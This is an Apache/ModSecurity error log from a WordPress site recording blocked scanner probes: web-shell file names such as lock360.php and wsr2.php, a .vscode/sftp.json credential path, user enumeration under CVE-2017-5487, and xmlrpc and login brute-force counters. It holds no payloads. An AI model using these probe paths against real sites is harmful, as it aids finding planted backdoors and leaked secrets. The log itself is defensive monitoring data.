[Sun Nov 16 05:35:04.326520 2025] [:error] [pid 52471:tid 52540] [client 4.206.159.110:65297] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akc.php"] [unique_id "aRjyCNmWsFzjR5CEgDWhxAAAAIg"]
[Sun Nov 16 05:35:11.427264 2025] [:error] [pid 20556:tid 20560] [client 4.206.159.110:65369] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akc.php"] [unique_id "aRjyD0kbyEckbWtBcCKQ_AAAAQI"]
[Sun Nov 16 05:35:14.136276 2025] [:error] [pid 52470:tid 52508] [client 4.206.159.110:65400] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akc.php"] [unique_id "aRjyEkg9mXF2ZFFtj1XLiQAAAEM"]
[Sun Nov 16 05:35:15.307876 2025] [:error] [pid 20556:tid 20570] [client 4.206.159.110:65286] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akc.php"] [unique_id "aRjyE0kbyEckbWtBcCKQ_wAAAQw"]
[Sun Nov 16 05:35:19.244416 2025] [:error] [pid 52471:tid 52532] [client 4.206.159.110:65326] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aRjyF9mWsFzjR5CEgDWh1gAAAIA"]
[Sun Nov 16 05:35:25.042974 2025] [:error] [pid 52563:tid 52587] [client 4.206.159.110:65328] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aRjyHc-l3ey-hVJ5AuvyugAAANU"]
[Sun Nov 16 05:35:25.614840 2025] [:error] [pid 20556:tid 20560] [client 4.206.159.110:65346] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aRjyHUkbyEckbWtBcCKREQAAAQI"]
[Sun Nov 16 05:35:45.911532 2025] [:error] [pid 20556:tid 20582] [client 4.206.159.110:65319] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wander.php"] [unique_id "aRjyMUkbyEckbWtBcCKRKwAAARg"]
[Sun Nov 16 05:35:48.647628 2025] [:error] [pid 20556:tid 20558] [client 4.206.159.110:65393] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wander.php"] [unique_id "aRjyNEkbyEckbWtBcCKRLAAAAQA"]
[Sun Nov 16 05:35:51.514664 2025] [:error] [pid 52469:tid 52491] [client 4.206.159.110:63296] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wander.php"] [unique_id "aRjyN06HaXpHeEZ98Z0HxQAAAA4"]
[Sun Nov 16 05:35:52.816270 2025] [:error] [pid 52470:tid 52507] [client 4.206.159.110:65383] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wander.php"] [unique_id "aRjyOEg9mXF2ZFFtj1XLpAAAAEI"]
[Sun Nov 16 05:36:00.453426 2025] [:error] [pid 52470:tid 52529] [client 4.206.159.110:65362] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aRjyQEg9mXF2ZFFtj1XLrQAAAFg"]
[Sun Nov 16 05:36:01.717848 2025] [:error] [pid 52470:tid 52521] [client 4.206.159.110:65337] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aRjyQUg9mXF2ZFFtj1XLrgAAAFA"]
[Sun Nov 16 05:36:03.284846 2025] [:error] [pid 52563:tid 52577] [client 4.206.159.110:65322] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aRjyQ8-l3ey-hVJ5Auvy0wAAAMs"]
[Sun Nov 16 05:36:16.674679 2025] [:error] [pid 52471:tid 52551] [client 4.206.159.110:63304] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/great.php"] [unique_id "aRjyUNmWsFzjR5CEgDWh-AAAAJM"]
[Sun Nov 16 05:36:21.118723 2025] [:error] [pid 52563:tid 52566] [client 4.206.159.110:63314] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/great.php"] [unique_id "aRjyVc-l3ey-hVJ5Auvy3wAAAMA"]
[Sun Nov 16 05:36:23.160830 2025] [:error] [pid 52563:tid 52583] [client 4.206.159.110:65293] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/great.php"] [unique_id "aRjyV8-l3ey-hVJ5Auvy4QAAANE"]
[Sun Nov 16 05:37:18.349209 2025] [:error] [pid 52563:tid 52568] [client 4.206.159.110:65350] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsr2.php"] [unique_id "aRjyjs-l3ey-hVJ5AuvzHQAAAMI"]
[Sun Nov 16 05:37:19.692456 2025] [:error] [pid 52563:tid 52570] [client 4.206.159.110:65390] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsr2.php"] [unique_id "aRjyj8-l3ey-hVJ5AuvzHwAAAMQ"]
[Sun Nov 16 05:37:21.519150 2025] [:error] [pid 20556:tid 20573] [client 4.206.159.110:65398] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsr2.php"] [unique_id "aRjykUkbyEckbWtBcCKRlAAAAQ8"]
[Sun Nov 16 05:37:23.276139 2025] [:error] [pid 52470:tid 52523] [client 4.206.159.110:65342] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsr2.php"] [unique_id "aRjyk0g9mXF2ZFFtj1XL7AAAAFI"]
[Sun Nov 16 05:37:25.030997 2025] [:error] [pid 52470:tid 52514] [client 4.206.159.110:65283] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shlo.php"] [unique_id "aRjylUg9mXF2ZFFtj1XL8gAAAEk"]
[Sun Nov 16 05:37:26.768518 2025] [:error] [pid 52471:tid 52533] [client 4.206.159.110:63355] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shlo.php"] [unique_id "aRjyltmWsFzjR5CEgDWiIQAAAIE"]
[Sun Nov 16 05:37:33.938504 2025] [:error] [pid 52471:tid 52551] [client 4.206.159.110:65315] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shlo.php"] [unique_id "aRjyndmWsFzjR5CEgDWiJQAAAJM"]
[Sun Nov 16 05:37:35.515902 2025] [:error] [pid 20556:tid 20581] [client 4.206.159.110:65288] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shlo.php"] [unique_id "aRjyn0kbyEckbWtBcCKRpwAAARc"]
[Sun Nov 16 05:37:37.699139 2025] [:error] [pid 52470:tid 52525] [client 4.206.159.110:63306] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aRjyoUg9mXF2ZFFtj1XL_AAAAFQ"]
[Sun Nov 16 05:37:46.791064 2025] [:error] [pid 52563:tid 52572] [client 4.206.159.110:63342] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aRjyqs-l3ey-hVJ5AuvzNgAAAMY"]
[Sun Nov 16 05:37:51.701878 2025] [:error] [pid 52563:tid 52590] [client 4.206.159.110:65355] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kill-9-1.php"] [unique_id "aRjyr8-l3ey-hVJ5AuvzOAAAANg"]
[Sun Nov 16 05:37:55.795499 2025] [:error] [pid 52471:tid 52533] [client 4.206.159.110:65381] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kill-9-1.php"] [unique_id "aRjys9mWsFzjR5CEgDWiQwAAAIE"]
[Sun Nov 16 05:38:00.042787 2025] [:error] [pid 52470:tid 52528] [client 4.206.159.110:63339] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kill-9-1.php"] [unique_id "aRjyuEg9mXF2ZFFtj1XMBAAAAFc"]
[Sun Nov 16 05:38:00.969507 2025] [:error] [pid 20556:tid 20578] [client 4.206.159.110:65363] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kill-9-1.php"] [unique_id "aRjyuEkbyEckbWtBcCKR0AAAARQ"]
[Sun Nov 16 06:26:27.693016 2025] [:error] [pid 52469:tid 52500] [client 34.134.144.77:36852] [client 34.134.144.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.144.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRj-E06HaXpHeEZ98Z0UOwAAABc"]
[Sun Nov 16 06:27:02.492001 2025] [:error] [pid 52471:tid 52541] [client 34.134.144.77:53984] [client 34.134.144.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.144.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRj-NtmWsFzjR5CEgDWvjwAAAIk"]
[Sun Nov 16 06:27:18.252943 2025] [:error] [pid 52563:tid 52570] [client 34.134.144.77:59860] [client 34.134.144.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.144.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRj-Rs-l3ey-hVJ5AusBUAAAAMQ"]
[Sun Nov 16 09:00:43.307430 2025] [:error] [pid 52470:tid 52524] [client 36.41.75.167:41109] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aRkiO0g9mXF2ZFFtj1X9AAAAAFM"]
[Sun Nov 16 10:15:45.321731 2025] [proxy_fcgi:error] [pid 52470:tid 52516] (70007)The timeout specified has expired: [client 51.81.107.180:34152] AH01075: Error dispatching request to : (polling)
[Sun Nov 16 12:01:31.002560 2025] [:error] [pid 52471:tid 52541] [client 66.29.137.63:44348] [client 66.29.137.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.137.63, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRlMm9mWsFzjR5CEgDUC2AAAAIk"]
[Sun Nov 16 12:15:25.757159 2025] [:error] [pid 52469:tid 52501] [client 43.130.150.80:33888] [client 43.130.150.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRlP3U6HaXpHeEZ98Z1jbAAAABg"]
[Sun Nov 16 13:44:56.130080 2025] [:error] [pid 52469:tid 52491] [client 43.153.135.208:56014] [client 43.153.135.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aRlk2E6HaXpHeEZ98Z18uQAAAA4"]
[Sun Nov 16 14:42:38.671643 2025] [:error] [pid 52563:tid 52571] [client 103.175.135.140:59729] [client 103.175.135.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.175.135.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRlyXs-l3ey-hVJ5AuuAjQAAAMU"]
[Sun Nov 16 14:49:28.058620 2025] [:error] [pid 34164:tid 34180] [client 103.175.135.140:43567] [client 103.175.135.140] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aRlz-O93ccBCLD8-Q4YcbAAAAYw"]
[Sun Nov 16 14:50:34.254721 2025] [:error] [pid 52469:tid 52484] [client 103.175.135.140:21044] [client 103.175.135.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.175.135.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRl0Ok6HaXpHeEZ98Z2RfgAAAAc"]
[Sun Nov 16 14:51:33.166013 2025] [:error] [pid 34133:tid 34135] [client 103.175.135.140:21061] [client 103.175.135.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.175.135.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRl0dfSAB3iwXVRY0gFvhAAAAUA"]
[Sun Nov 16 14:52:41.642706 2025] [:error] [pid 52471:tid 52553] [client 103.175.135.140:30088] [client 103.175.135.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.175.135.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRl0udmWsFzjR5CEgDUmkwAAAJU"]
[Sun Nov 16 14:53:48.338216 2025] [:error] [pid 20556:tid 20577] [client 103.175.135.140:30826] [client 103.175.135.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.175.135.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRl0_EkbyEckbWtBcCJQFgAAARM"]
[Sun Nov 16 15:28:31.174501 2025] [:error] [pid 34164:tid 34177] [client 209.50.189.11:32109] [client 209.50.189.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.50.189.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRl9H-93ccBCLD8-Q4YmPAAAAYk"], referer: https://gigfragments.org/
[Sun Nov 16 15:28:33.986407 2025] [:error] [pid 34133:tid 34155] [client 209.50.189.11:39501] [client 209.50.189.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.50.189.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRl9IfSAB3iwXVRY0gF12gAAAVQ"], referer: https://gigfragments.org/wp-login.php?action=register
[Sun Nov 16 16:32:48.175741 2025] [:error] [pid 34133:tid 34158] [client 112.33.25.179:52942] [client 112.33.25.179] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/feed/"] [unique_id "aRmMMPSAB3iwXVRY0gF-wgAAAVc"]
[Sun Nov 16 17:53:30.087723 2025] [autoindex:error] [pid 34301:tid 34312] [client 155.94.163.116:50746] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Nov 16 21:10:24.003852 2025] [:error] [pid 52471:tid 52541] [client 46.101.1.225:44480] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aRnNQNmWsFzjR5CEgDV6EgAAAIk"]
[Sun Nov 16 21:10:24.729458 2025] [:error] [pid 52563:tid 52578] [client 46.101.1.225:44488] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server"] [unique_id "aRnNQM-l3ey-hVJ5AuvLyAAAAMw"]
[Sun Nov 16 21:10:25.463653 2025] [:error] [pid 34227:tid 34240] [client 46.101.1.225:44498] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aRnNQX108zGLYs9eMuhVJwAAAgs"]
[Sun Nov 16 21:10:26.235800 2025] [:error] [pid 20556:tid 20571] [client 46.101.1.225:44506] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about"] [unique_id "aRnNQkkbyEckbWtBcCKzNQAAAQ0"]
[Sun Nov 16 21:10:26.964006 2025] [:error] [pid 34227:tid 34237] [client 46.101.1.225:44514] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/debug/default/view"] [unique_id "aRnNQn108zGLYs9eMuhVKwAAAgg"]
[Sun Nov 16 21:10:27.810818 2025] [:error] [pid 52471:tid 52545] [client 46.101.1.225:44522] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2/_catalog"] [unique_id "aRnNQ9mWsFzjR5CEgDV6FwAAAI0"]
